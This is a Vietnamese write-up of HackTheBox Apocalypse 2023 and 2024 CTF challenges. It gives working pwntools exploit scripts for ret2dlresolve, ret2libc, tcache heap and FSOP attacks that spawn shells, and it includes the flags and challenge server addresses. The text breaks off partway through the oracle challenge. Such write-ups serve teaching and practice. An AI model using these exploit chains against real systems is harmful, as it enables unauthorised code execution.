# HTB Apocalypse 2023 ## Binary Exploit - vì giải này đã qua lâu rồi nên không start instance để check flag được ### Void - basic file check ![](https://hackmd.io/_uploads/BJUgKk3ea.png) - check ida ![](https://hackmd.io/_uploads/B1kzty3xp.png) >**vuln()** >---> BOF #### way1 - nhìn qua ida có thể thấy không leak libc được do chỉ có mỗi hàm **read** - nên hướng đi sẽ là ``ret2dl_resolve`` - ban đầu khai thác kĩ thuật đó thì bị fail nên chuyển hướng qua ``ret2csu`` - nói đúng hơn là ``ret2dl_resolve`` kết hợp với ``ret2csu`` - vì chỉ duy nhất có 1 hàm **read** nên ta tấn công vào GOT của nó (ow one_gadget vào read@GOT) ![](https://hackmd.io/_uploads/S1FVoJhgp.png) >các địa chỉ one_gadget ![](https://hackmd.io/_uploads/SkeE91hlp.png) > có hàm ``__libc_csu_init`` ![](https://hackmd.io/_uploads/Hkgcq1nxp.png) >tận dụng các pop để setup cho hàm **read** - **read** sẽ cần tham chiếu đến $rbp và $rbx - tìm gadget: ![](https://hackmd.io/_uploads/rJ4Poy2gT.png) > ở địa chỉ tô trắng đó sẽ có thể thay đổi thanh ghi dựa vào $rbp và $ebx - ta tính toán: - nó sẽ cộng 4 byte từ địa chỉ ``$ebx`` vào ``[$rbp - 0x3d]`` - thế thì ta sẽ đưa ``one_gadget - libc.sym['read']`` vào $rbx để nó phân giải (có thể là số âm nên ta để sign=True) - ở $rbp sẽ là read@GOT+0x3d để bù trừ cho gadget add ở trên - 4 thanh ghi r12 -> r15 padding cho 0 ![](https://hackmd.io/_uploads/rJGq2y2ga.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./void',checksec=False) libc = ELF('./libc.so.6',checksec=False) p = process(exe.path) # p = remote('178.62.9.10',31314) # gdb.attach(p,gdbscript=''' # b*vuln+25 # b*vuln+32 # c # ''') # input() csu = 0x004011b2 off_to_og = 0xc961a - libc.sym['read'] #one_gadget - read add = 0x0000000000401108 #add payload = b'a'*64 + b'b'*8 payload += p64(csu) payload += p64(off_to_og, sign=True) #pop rbx payload += p64(exe.got['read']+0x3d) #pop rbp (plus 0x3d because gadget add) payload += p64(0)*4 #pop r12 r13 r14 r15 payload += p64(add) #gadget add payload += p64(exe.sym['read']) p.send(payload) p.interactive() #HTB{r3s0lv3_th3_d4rkn355} ``` >HTB{r3s0lv3_th3_d4rkn355} #### way2 - sử dụng thư viện pwntools ![](https://hackmd.io/_uploads/H1LR6Qpe6.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./void',checksec=False) p = process(exe.path) dlresolve = Ret2dlresolvePayload(exe, symbol='system', args=['/bin/sh\0']) rop = ROP(exe) rop.read(0, dlresolve.data_addr) rop.raw(rop.ret[0]) rop.ret2dlresolve(dlresolve) raw_rop = rop.chain() pl = b'a'*72 + raw_rop p.send(pl) sleep(1) p.send(dlresolve.payload) p.interactive() #HTB{r3s0lv3_th3_d4rkn355} ``` >HTB{r3s0lv3_th3_d4rkn355} #### way3 - sau khi nghiệm lại thì cách ret2dlresolve thuần tuý vẫn giải được - đầu tiên ta cần stack pivot ```python #stack pivot payload = b"a"*64 payload += p64(rw_section) #rbp payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) payload += p64(exe.plt['read']) payload += p64(leave_ret) p.send(payload) ``` - tiếp theo sẽ setup structure ([xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#RET2DL_RESOLVE)) - note lại các địa chỉ cần thiết ![](https://hackmd.io/_uploads/rylXo0LG6.png) > JMPREL = 0x400430 > SYMTAB = 0x400330 > STRTAB = 0x400390 - tính toán các biến sau khi return của ``leave_ret``: - cần **system('/bin/sh')** nên setup trước $rdi là địa chỉ tới chuỗi '/bin/sh' (padding 0x8 do reuturn của ``leave_ret``) - $rsi = 0 (còn $rdx không có gadget nên không setup được) - sau đó là ``push`` **link_map** và **relog_arg** - tính lại địa chỉ của : - fake_JMPREL = JMPREL+relog_arg*24 - fake_SYMTAB = SYMTAB+(r_info >> 32)*24 - fake_STRTAB = địa chỉ trỏ đến 'system\0\0' ![](https://hackmd.io/_uploads/BJXHHZDza.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./void',checksec=False) libc = ELF('./libc.so.6',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*vuln+25 b*vuln+32 c ''') input() if args.REMOTE: p = remote('178.62.9.10',31314) else: p = process(exe.path) leave_ret = 0x0000000000401141 pop_rbp = 0x0000000000401109 pop_rdi = 0x00000000004011bb pop_rsi_r15 = 0x00000000004011b9 rw_section = 0x404a00 # GDB() #stack pivot payload = b"a"*64 payload += p64(rw_section) payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) payload += p64(exe.plt['read']) payload += p64(leave_ret) p.send(payload) JMPREL = 0x400430 SYMTAB = 0x400330 STRTAB = 0x400390 link_map = 0x0000000000401020 SYMTAB_addr = 0x404a40 JMPREL_addr = 0x404a68 STRTAB_addr = 0x404a78 symbol_number = int((SYMTAB_addr - SYMTAB)/24) reloc_arg = int((JMPREL_addr - JMPREL)/24) st_name = STRTAB_addr - STRTAB log.info("symbol_number: " + hex(symbol_number)) log.info("reloc_arg: " + hex(reloc_arg)) log.info("st_name: " + hex(st_name)) st_info = 0x12 st_other = 0 st_shndx = 0 st_value = 0 st_size = 0 SYMTAB_struct = p32(st_name) #0x404a40 SYMTAB_struct += p8(st_info) SYMTAB_struct += p8(st_other) SYMTAB_struct += p16(st_shndx) SYMTAB_struct += p64(st_value) #0x404a48 SYMTAB_struct += p64(st_size) #0x404a50 r_offset = exe.got['read'] r_info = (symbol_number << 32) | 7 r_addend = 0 JMPREL_struct = p64(r_offset) #0x404a68 JMPREL_struct += p64(r_info) #0x404a70 payload = flat( b'A'*8, #a00 #padding pop_rsi_r15, #a08 0, 0, #a10 #a18 pop_rdi, #a20 0x404a80, #a28 #string /bin/sh link_map, #a30 #link_map reloc_arg, #a38 #reloc_arg SYMTAB_struct, #a40 #a48 #a50 0, 0, #a58 #a60 #padding JMPREL_struct, #a68 #a70 b'system\0\0', #a78 b'/bin/sh\0' #a80 ) p.send(payload) p.interactive() #HTB{r3s0lv3_th3_d4rkn355} ``` >HTB{r3s0lv3_th3_d4rkn355} --- ### Pandora's Box - ret2libc thôi nên không wu ![](https://hackmd.io/_uploads/HkJIll2gT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./pb_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) #p = process(exe.path) p = remote('64.227.36.176',31013) pop_rdi = 0x000000000040142b ret = 0x0000000000401016 payload = b'2' p.sendlineafter(b'>> ',payload) payload = b'A'*56 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendlineafter(b'library: ',payload) p.recvuntil(b'you!\n\n') libc_leak = u64(p.recv(6) + b'\x00\x00') libc.address = libc_leak - libc.sym['puts'] log.info("Lib leak: " + hex(libc_leak)) log.info("Lib base: " + hex(libc.address)) payload = b'2' p.sendlineafter(b'>> ',payload) payload = b'A'*56 payload += p64(ret) payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(libc.sym['system']) p.sendlineafter(b'library: ',payload) p.interactive() #HTB{r3turn_2_P4nd0r4?!} ``` >HTB{r3turn_2_P4nd0r4?!} --- ### Labyrinth - ret2win thôi nên không wu ![](https://hackmd.io/_uploads/Hkqgel3lT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./labyrinth',checksec=False) # p = process(exe.path) p = remote('64.227.41.83',31721) payload = b'69' #input() p.sendlineafter(b'>> ',payload) payload = b'A'*56 payload += p64(exe.sym['escape_plan']+1) p.sendlineafter(b'>> ',payload) p.interactive() #HTB{3sc4p3_fr0m_4b0v3} ``` >HTB{3sc4p3_fr0m_4b0v3} ### Math Door - basic file check ![](https://hackmd.io/_uploads/Sym_RfGZT.png) - check ida ![](https://hackmd.io/_uploads/Hkfq0Bz-T.png) >**main()** ![](https://hackmd.io/_uploads/rkoj0HfZp.png) >**create()** >mỗi lần sẽ tạo node với size cố định là 0x18 >ngoài ra có biến **counter** dùng để tránh ta **malloc()** quá 64 lần ![](https://hackmd.io/_uploads/HkDbJIM-p.png) >**delete()** >dùng để **free()** node >nhưng lại không xoá ptr sau khi **free()** ---> DBF | UAF >chỉ check khi **free()** 1 node có idx vượt cả **counter** ![](https://hackmd.io/_uploads/Syk_1Iz-T.png) >**math()** >hàm nhằm mục đích thay đổi giá trị trong ptr 1 node >nhưng cách để thay đổi là cộng giá trị mới chứ không ghi đè >===> trigger UAF để thay đổi giá trị fw_pointer sau khi **free()** #### analyse - đầu tiên ta tạo 3 chunk 0 1 2 - sau đó **delete(0)** và **delete(1)** ```python add() #0 #2a0 add() #1 #2c0 add() #2 #2e0 delete(0) delete(1) #[1] -> [0] :2c0 ->2a0 ``` - lúc này trong vis_heap_chunks như sau: ![](https://hackmd.io/_uploads/SyO6LDf-a.png) - nếu ta sửa dụng hàm **math()** để chỉnh fw_pointer của chunk 1 (đang là 2a0) thành 2b0 thì sao? > sửa thành 2c0 cho tạo loop thì hơi vô dụng (vì malloc chỉ 1 size duy nhất) ```python math(1,p64(0x10)) #2c0 ->2b0 ``` - lúc này trong bin sẽ tạo fake_chunk nếu ta **add()** thêm chunk mới thứ 4 ```python add() #3 #2c0 reused add() #4 #2b0 fake_chunk 2c0 #VICTIM ``` - và fake_chunk đó ta có thể dễ dàng set fake_size ```python math(4,p64(0)+p64(0x21)) #2c0 2c8 #resize 3 #extra chunk 3 from 4 #fw_pointer 4(2b0) -> 1(2c0) and 4(2b0) -> 3(2c0) ``` - và dễ dàng có 2 chunk 1 và 3 sẽ bị làm 'nạn nhân' ![](https://hackmd.io/_uploads/HJTH9wzbp.png) > - note: chunk4 sẽ làm trung gian điều khiển chunk1 và chunk3 #### leak libc - vì trong ida cho thấy khả năng tạo chunk có size lớn hơn 0x18 là điều không thể, nên ta sẽ fake count(=7) của 1 chunk có size 0xa0 (không lọt vào fastbin) bằng cách trỏ ngược lại [tcache perthread struct](https://hackmd.io/@trhoanglan04/SkrdeRm9n#tcache_perthread_struct) - nhưng vì hàm **math()** chỉ có chức năng '+=' nên ta sẽ tricky 1 chút về khả năng IOF của 1 biến - tiếp tục **add()** thêm 2 lần để khai thác cái mới rồi **delete()** ```python add() #5 #300 add() #6 #320 delete(2) delete(5) #[5] -> [2] :300 -> 2e0 ``` ![](https://hackmd.io/_uploads/HkDnzuzWa.png) >hiện tại ta sẽ thay đổi từ 2e0 xuống 010 >vì mục tiêu ta fake_chunk là ngay tcache_counts >4 byte tô đó là count của size 0xa0 ```python payload = p64(0xffffffffffffffff - (0x2d0 - 1)) #sub 2d0 from 2e0 to 10 -> point at count of tcache perthread struct #but in func, only plus value #so we sub by adding highest value (0xff..ff) and sub the value we want #moreover plus 1 to align exactly position math(5,payload) #300 -> 010 ``` - tiếp tục **add()** 2 lần để moi chunk trước đó và chunk muốn fake, sau đó ta cộng lên 7 thôi ```python add() #7 #300 add() #8 #010 math(8,p64(0)+p64(0)+p64(0x7)) #add count=7 for size 0xa0 ``` > -note: chunk8 dùng để change count trong tcache perthread struct - lúc này coi như đã fake thành công count cho size 0xa0, vấn đề nữa là làm sao lần **free()** tiếp theo sẽ chui vào ubin ===> cần prev_size cho next_chunk > nếu không sẽ bị lỗi quen thuộc là 'conruption (!prev)' - ta cần **add()** lượng vừa đủ để đến next_chunk từ chunk victim ![](https://hackmd.io/_uploads/ryY3VuMZp.png) ```python #wanna attack chunk1 (or chunk3) -> set prev next_chunk #2c0+a0=360 add() #9 #340 add() #10 #360 #chunk1 + 0xa0 (next_chunk) add() #11 #380 add() #12 #3a0 add() #13 #3c0 add() #14 #3e0 add() #15 #400 ``` >đồng thời **add()** thêm 5 lần để thuận tiện cho lần khai thác kế tiếp (mess up heap bins) - tiếp tục **delete(10)** và **delete(1)** (hay **delete(3)** đều được) >vì căn bản chunk1 và chunk3 đều bị ảnh hưởng - rồi căn chỉnh size cho victim thành 0xa1 ```python delete(10) delete(1) #[1] -> [10] :2c0->360 math(4,p64(0)+p64(0x80)) #update size chunk1 from 0x21 -> 0xa1 delete(1) #ubin ``` - đến bước này ta đã thành công đưa 1 chunk vào ubin - việc tiếp theo để leak libc là dựa vào hàm **puts** - nhưng lại không có chức năng nào trong các function có quyền in ra data trong đó, nên ta sẽ nghĩ đến thay đổi giá trị bên trong ``stdout`` - về cấu trúc của ``_IO_2_1_stdout_`` ta cần: - ``_IO_2_1_stdout_->flags`` = 0x1800 - ``_IO_2_1_stdout_->_IO_write_ptr`` > ``_IO_2_1_stdout_->_IO_write_base`` > [xem thêm](https://hackmd.io/@trhoanglan04/SJWrxsQs2#FSOP) - đầu tiên ta có libc trong ubin là một **main_area**, ta sẽ cộng thêm 1 offset sao cho trỏ đến ``_IO_2_1_stdout_`` > bằng 1 lí do khó-hiểu-nào-đó gdb lại không thể đọc IO_FILE ![](https://hackmd.io/_uploads/rytohdzZT.png) >offset=0xac0 ```python math(1,p64(0xac0)) #change main_area to stdout ``` ##### ``_IO_2_1_stdout_->flags`` = 0x1800 - ta xem qua struct của nó ![](https://hackmd.io/_uploads/Sy1-zYMb6.png) >lấy ví dụ ở bài iofile_vtable >flags ở địa chỉ đầu tiên - tiếp tục **add()** 2 lần để sửa ``_IO_2_1_stdout_->flags`` thành 0x1800 ![](https://hackmd.io/_uploads/SJSwMKz-6.png) >cần thay đổi 0xfbad2887 thành 0x1800 ```python add() #16 add() #17 payload = p64(0xffffffffffffffff-(0xfbad2887-1) + 0x1800) #change flags to 0x1800 math(17, payload) ``` ##### ``_IO_write_ptr`` > ``_IO_write_base`` - dựa vào struct trên cho thấy vị trí ``_IO_write_ptr`` là cách ``_IO_2_1_stdout_`` 1 đoạn 0x28 - để thay đổi nội dung con trỏ tại đó ta cần đến 3 chunk (A->write_ptr->data) - cứ **add()** trước 2 cái rồi fake count lên làm 3 thông qua chunk8 - sửa linked list trỏ về stdout->write_ptr ```python delete(11) delete(12) #[12] -> [11] :3a0->380 (count=2) math(8,p64(0x1)) #add count 0x20 from 2 to 3 payload = p64(0xffffffffffffffff-(0xc0-1)) #380-a0=2c0 math(12,payload) #modify [12] -> [1] :3a0->2c0 #tcachebins 0x20[3]: [12]->[1]->stdout math(1,p64(0x28)) #stdout+0x28=_IO_write_ptr # GDB() add() #18 add() #19 add() #20 point _IO_write_ptr math(20,p64(0x10)) #make ptr > base ``` - lúc này khi trỏ về hàm **main()** gọi **puts** in ra menu thì sẽ leak được libc ![](https://hackmd.io/_uploads/BknLYtGZa.png) ```python p.recv(5) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x1ee7e0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) ``` #### ow free_hook - có libc base tiếp tục tạo count lên 3 để change data (A->free_hook->0) ![](https://hackmd.io/_uploads/BJAO5tfWp.png) >offset=0x1724 ```python delete(13) delete(14) #[14] -> [13] :3e0->3c0 (count=2) math(8,p64(0x1)) #add count 0x20 from 2 to 3 math(13,p64(0x1724)) add() #21 add() #22 add() #23 point free_hook math(0,b'/bin/sh\0') math(23,p64(libc.sym['system'])) delete(0) #get shell ``` #### get shell ![](https://hackmd.io/_uploads/S1SRprf-6.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./math-door_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) # ld = ELF('./ld-2.31.so',checksec=False) ld = ELF('./ld.so',checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*create+54 b*delete+82 b*math+320 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('',) else: p = process(exe.path) def add(): sla(b'Action: ',b'1') def delete(idx): sla(b'Action: ',b'2') sla(b'index:',str(idx)) def math(idx,data): sla(b'Action: ',b'3') sla(b'index:',str(idx)) sa(b'hieroglyph:',data) add() #0 #2a0 add() #1 #2c0 add() #2 #2e0 delete(0) delete(1) #[1] -> [0] :2c0 ->2a0 math(1,p64(0x10)) #2c0 ->2b0 add() #3 #2c0 reused add() #4 #2b0 fake_chunk 2c0 #VICTIM math(4,p64(0)+p64(0x21)) #2c0 2c8 #resize 3 #extra chunk 3 from 4 #fw_pointer 4(2b0) -> 1(2c0) and 4(2b0) -> 3(2c0) add() #5 #300 add() #6 #320 delete(2) delete(5) #[5] -> [2] :300 -> 2e0 payload = p64(0xffffffffffffffff - (0x2d0 - 1)) #sub 2d0 from 2e0 to 10 -> point at count of tcache perthread struct #but in func, only plus value #so we sub by adding highest value (0xff..ff) and sub the value we want #moreover plus 1 to align exactly position math(5,payload) #300 -> 010 add() #7 #300 add() #8 #010 math(8,p64(0)+p64(0)+p64(0x7)) #add count=7 for size 0xa0 #wanna attack chunk1 (or chunk3) -> set prev next_chunk #2c0+a0=360 add() #9 #340 add() #10 #360 #chunk1 + 0xa0 (next_chunk) add() #11 #380 add() #12 #3a0 add() #13 #3c0 add() #14 #3e0 add() #15 #400 delete(10) delete(1) #[1] -> [10] :2c0->360 math(4,p64(0)+p64(0x80)) #update size chunk1 from 0x21 -> 0xa1 delete(1) #ubin math(1,p64(0xac0)) #change main_area to stdout add() #16 add() #17 payload = p64(0xffffffffffffffff-(0xfbad2887-1) + 0x1800) #change flags to 0x1800 math(17, payload) delete(11) delete(12) #[12] -> [11] :3a0->380 (count=2) math(8,p64(0x1)) #add count 0x20 from 2 to 3 payload = p64(0xffffffffffffffff-(0xc0-1)) #380-a0=2c0 math(12,payload) #modify [12] -> [1] :3a0->2c0 #tcachebins 0x20[3]: [12]->[1]->stdout math(1,p64(0x28)) #stdout+0x28=_IO_write_ptr # GDB() add() #18 add() #19 add() #20 point _IO_write_ptr math(20,p64(0x10)) #make ptr > base p.recv(5) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x1ee7e0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) delete(13) delete(14) #[14] -> [13] :3e0->3c0 (count=2) math(8,p64(0x1)) #add count 0x20 from 2 to 3 math(13,p64(0x1724)) add() #21 add() #22 add() #23 point free_hook math(0,b'/bin/sh\0') math(23,p64(libc.sym['system'])) delete(0) #get shell p.interactive() #HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!} ``` >HTB{y0ur_m4th_1s_fr0m_4n0th3r_w0rld!} --- ## MISC ### Janken - basic file check ![](https://hackmd.io/_uploads/r1lXkgnga.png) - check ida ![](https://hackmd.io/_uploads/BJjH1ghe6.png) >**main()** > in menu rồi chơi oẳn tù tì > 100 điểm in flag ![](https://hackmd.io/_uploads/ryFPyg3lT.png) >**game()** > generate time để ra kéo, búa hoặc bao > thắng +1 điểm ![](https://hackmd.io/_uploads/rJtpJlng6.png) >**get_prize()** >đọc flag.txt ![](https://hackmd.io/_uploads/ryxuWehep.png) > chạy local nên time bằng giờ hệ thống luôn > chạy sever sẽ có thể bị delay nên thêm dòng sleep(1) - script: ```python #!/usr/bin/python3 from pwn import * import random import time from ctypes import * context.binary = exe = ELF('./janken',checksec=False) elf = cdll.LoadLibrary("libc.so.6") p = process(exe.path) # p = remote('178.62.9.10',30284) keo = b'scissors' bua = b'rock' bao = b'paper' p.sendlineafter(b'>> ',b'1') for i in range(0,99): try: giay = int(time.time()) elf.srand(giay) so = elf.rand() check = so % 3 if check == 0: payload = bao elif check == 1: payload = bua elif check == 2: payload = keo print(payload) # time.sleep(1) p.sendlineafter(b'>>',payload) except: print(i) break p.interactive() #HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG} ``` >HTB{r0ck_p4p3R_5tr5tr_l0g1c_buG} --- # HTB Apocalypse 2024 - wu hơi trễ nên sẽ k có hình flag ## Binary Exploit ### deathnote - basic file check ![image](https://hackmd.io/_uploads/HJ1uCqykR.png) - check ida ![image](https://hackmd.io/_uploads/rJWcMikyR.png) >**main()** ![image](https://hackmd.io/_uploads/HyDlXjJkA.png) >**add()** ![image](https://hackmd.io/_uploads/r1hzQs1kC.png) >**delete()** ![image](https://hackmd.io/_uploads/H1PNmjJJA.png) >**show()** ![image](https://hackmd.io/_uploads/Hy6TXj11A.png) >**_()** #### analyse - 3 chức năng chính: add, delete, show - 1 hàm 'backdoor' cho phép trigger 1 note với tham số là con trỏ tiếp theo - thế idea ta trigger **system('/bin/sh')** - đầu tiên cần leak libc > fill up tcache > add() more chunk have another size avoid consolidate > ubin ---> show() - ở hàm "backdoor" nó lấy chunk đầu tiên dạng chuỗi hex >nhìn ida cách nó lọc byte '0x' - chunk thứ 2 là "/bin/sh" rồi gọi 'backdoor' lên là xong #### get shell ![image](https://hackmd.io/_uploads/rk4TBs1kA.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./deathnote_patched',checksec=False) libc = ELF('./libc.so.6',checksec=False) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*show+166 b*add+313 b*delete+197 b*_+140 b*_+276 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('94.237.60.37',41985) else: p = process(exe.path) def add(size,page,data): sla(b'\xf0\x9f\x92\x80\x20',b'1') sla(b'request?',str(size)) sla(b'Page?',str(page)) sa(b'victim:',data) p.recvline() def delete(page): sla(b'\xf0\x9f\x92\x80\x20',b'2') sla(b'Page?',str(page)) def show(page): sla(b'\xf0\x9f\x92\x80\x20',b'3') sla(b'Page?',str(page)) def backdoor(): sla(b'\xf0\x9f\x92\x80\x20',b'42') size = 0x80 for i in range(8): add(size,i,b'a') add(0x10,8,b'b') for i in range(8): delete(i) GDB() show(7) p.recvuntil(b'content: ') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - 0x21ace0 info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) system = libc.sym['system'] add(size,0,hex(system)) add(size,1,b'/bin/sh\0') backdoor() p.interactive() #HTB{0m43_w4_m0u_5h1nd31ru~uWu} ``` >HTB{0m43_w4_m0u_5h1nd31ru~uWu} ### oracle - source: ```c // gcc oracle.c -o oracle -fno-stack-protector #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #define PORT 9001 #define MAX_START_LINE_SIZE 1024 #define MAX_PLAGUE_CONTENT_SIZE 2048 #define MAX_HEADER_DATA_SIZE 1024 #define MAX_HEADERS 8 #define MAX_HEADER_LENGTH 128 #define VIEW "VIEW" #define PLAGUE "PLAGUE" #define BAD_REQUEST "400 Bad Request - you can only view competitors or plague them. What else would you want to do?\n" #define PLAGUING_YOURSELF "You tried to plague yourself. You cannot take the easy way out.\n" #define PLAGUING_OVERLORD "You have committed the greatest of sins. Eternal damnation awaits.\n" #define NO_COMPETITOR "No such competitor %s exists. They may have fallen before you tried to plague them. Attempted plague: " #define CONTENT_LENGTH_NEEDED "You need to specify the length of your plague description. How else can I help you?\n" #define RANDOMISING_TARGET "Randomising a target competitor, as you wish...\n" struct PlagueHeader { char key[MAX_HEADER_LENGTH]; char value[MAX_HEADER_LENGTH]; }; struct PlagueHeader headers[MAX_HEADERS]; int client_socket; char action[8]; char target_competitor[32]; char version[16]; void handle_request(); void handle_view(); void handle_plague(); void parse_headers(); char *get_header(); int is_competitor(); int main() { int server_socket = socket(AF_INET, SOCK_STREAM, 0); if (server_socket == -1) { perror("Failed to create socket!"); exit(EXIT_FAILURE); } // Set up the server address struct struct sockaddr_in server_address; server_address.sin_family = AF_INET; server_address.sin_addr.s_addr = INADDR_ANY; server_address.sin_port = htons(PORT); // Bind the socket to the specified address and port if (bind(server_socket, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) { perror("Socket binding failed"); close(server_socket); exit(EXIT_FAILURE); } // Listen for incoming connections if (listen(server_socket, 5) == -1) { perror("Socket listening failed"); close(server_socket); exit(EXIT_FAILURE); } printf("Oracle listening on port %d\n", PORT); while(1) { client_socket = accept(server_socket, NULL, NULL); puts("Received a spiritual connection..."); if (client_socket == -1) { perror("Socket accept failed"); continue; } handle_request(); } return 0; } void handle_request() { // take in the start-line of the request // contains the action, the target competitor and the oracle version char start_line[MAX_START_LINE_SIZE]; char byteRead; ssize_t i = 0; for (ssize_t i = 0; i < MAX_START_LINE_SIZE; i++) { recv(client_socket, &byteRead, sizeof(byteRead), 0); if (start_line[i-1] == '\r' && byteRead == '\n') { start_line[i-1] == '\0'; break; } start_line[i] = byteRead; } sscanf(start_line, "%7s %31s %15s", action, target_competitor, version); parse_headers(); // handle the specific action desired if (!strcmp(action, VIEW)) { handle_view(); } else if (!strcmp(action, PLAGUE)) { handle_plague(); } else { perror("ERROR: Undefined action!"); write(client_socket, BAD_REQUEST, strlen(BAD_REQUEST)); } // clear all request-specific values for next request memset(action, 0, 8); memset(target_competitor, 0, 32); memset(version, 0, 16); memset(headers, 0, sizeof(headers)); } void handle_view() { if (!strcmp(target_competitor, "me")) { write(client_socket, "You have found yourself.\n", 25); } else if (!is_competitor(target_competitor)) { write(client_socket, "No such competitor exists.\n", 27); } else { write(client_socket, "It has been imprinted upon your mind.\n", 38); } } void handle_plague() { if(!get_header("Content-Length")) { write(client_socket, CONTENT_LENGTH_NEEDED, strlen(CONTENT_LENGTH_NEEDED)); return; } // take in the data char *plague_content = (char *)malloc(MAX_PLAGUE_CONTENT_SIZE); char *plague_target = (char *)0x0; if (get_header("Plague-Target")) { plague_target = (char *)malloc(0x40); strncpy(plague_target, get_header("Plague-Target"), 0x1f); } else { write(client_socket, RANDOMISING_TARGET, strlen(RANDOMISING_TARGET)); } long len = strtoul(get_header("Content-Length"), NULL, 10); if (len >= MAX_PLAGUE_CONTENT_SIZE) { len = MAX_PLAGUE_CONTENT_SIZE-1; } recv(client_socket, plague_content, len, 0); if(!strcmp(target_competitor, "me")) { write(client_socket, PLAGUING_YOURSELF, strlen(PLAGUING_YOURSELF)); } else if (!is_competitor(target_competitor)) { write(client_socket, PLAGUING_OVERLORD, strlen(PLAGUING_OVERLORD)); } else { dprintf(client_socket, NO_COMPETITOR, target_competitor); if (len) { write(client_socket, plague_content, len); write(client_socket, "\n", 1); } } free(plague_content); if (plague_target) { free(plague_target); } } void parse_headers() { // first input all of the header fields ssize_t i = 0; char byteRead; char header_buffer[MAX_HEADER_DATA_SIZE]; while (1) { recv(client_socket, &byteRead, sizeof(byteRead), 0); // clean up the headers by removing extraneous newlines if (!(byteRead == '\n' && header_buffer[i-1] != '\r')) header_buffer[i] = byteRead; if (!strncmp(&header_buffer[i-3], "\r\n\r\n", 4)) { header_buffer[i-4] == '\0'; break; } i++; } // now parse the headers const char *delim = "\r\n"; char *line = strtok(header_buffer, delim); ssize_t num_headers = 0; while (line != NULL && num_headers < MAX_HEADERS) { char *colon = strchr(line, ':'); if (colon != NULL) { *colon = '\0'; strncpy(headers[num_headers].key, line, MAX_HEADER_LENGTH); strncpy(headers[num_headers].value, colon+2, MAX_HEADER_LENGTH); // colon+2 to remove whitespace num_headers++; } line = strtok(NULL, delim); } } char *get_header(char *header_name) { // return the value for a specific header key for (ssize_t i = 0; i < MAX_HEADERS; i++) { if(!strcmp(headers[i].key, header_name)) { return headers[i].value; } } return NULL; } int is_competitor(char *name) { // don't want the user of the Oracle to be able to plague Overlords! if (!strncmp(name, "Overlord", 8)) return 0; return 1; } ``` #### analyse - trong hàm `parse_headers()` có bug sau ```c void parse_headers() { // first input all of the header fields ssize_t i = 0; char byteRead; char header_buffer[MAX_HEADER_DATA_SIZE]; while (1) { recv(client_socket, &byteRead, sizeof(byteRead), 0); // clean up the headers by removing extraneous newlines if (!(byteRead == '\n' && header_buffer[i-1] != '\r')) header_buffer[i] = byteRead; if (!strncmp(&header_buffer[i-3], "\r\n\r\n", 4)) { header_buffer[i-4] == '\0'; break; } i++; } //.... } ``` >infinite overflow - possible leak funcion : ``handle_plague()`` ```c void handle_plague() { //... long len = strtoul(get_header("Content-Length"), NULL, 10); if (len >= MAX_PLAGUE_CONTENT_SIZE) { len = MAX_PLAGUE_CONTENT_SIZE-1; } recv(client_socket, plague_content, len, 0); if(!strcmp(target_competitor, "me")) { write(client_socket, PLAGUING_YOURSELF, strlen(PLAGUING_YOURSELF)); } else if (!is_competitor(target_competitor)) { write(client_socket, PLAGUING_OVERLORD, strlen(PLAGUING_OVERLORD)); } else { dprintf(client_socket, NO_COMPETITOR, target_competitor); // BUG if (len) { write(client_socket, plague_content, len); //BUG write(client_socket, "\n", 1); } } free(plague_content); //smallbin if (plague_target) { free(plague_target); } } ``` - vì malloc size khá lớn nên ta sẽ free rồi request cái mới, sẽ có smallbin ```c #define MAX_PLAGUE_CONTENT_SIZE 2048 ``` > leak libc ở lần request thứ 2 - tuy nhiên ta sẽ để ý tránh bị topchunk consolidate ---> cần 1 chunk ngăn cách với topchunk >setup `Plague-Target` để malloc(0x40) - để thoát 1 request, ta gửi các byte vô dụng là được #### find offset libc base via gdbserver - vì challenge kiểu tạo socket nên khó mà gdb như bình thường - ta sẽ đọc flags và run `./build-docker.sh` ```bash $ cat build-docker.sh ### -p 9090:9090 --cap-add=SYS_PTRACE ### $ docker exec -it oracle /bin/bash ctf@c05c86d3e00d:~$ gdbserver :9090 --attach $(pidof oracle) Attached; pid = 7 Listening on port 9090 ``` - offset = 0x1ecbe0 ```bash $ docker cp oracle:/usr/lib/x86_64-linux-gnu/libc-2.31.so . 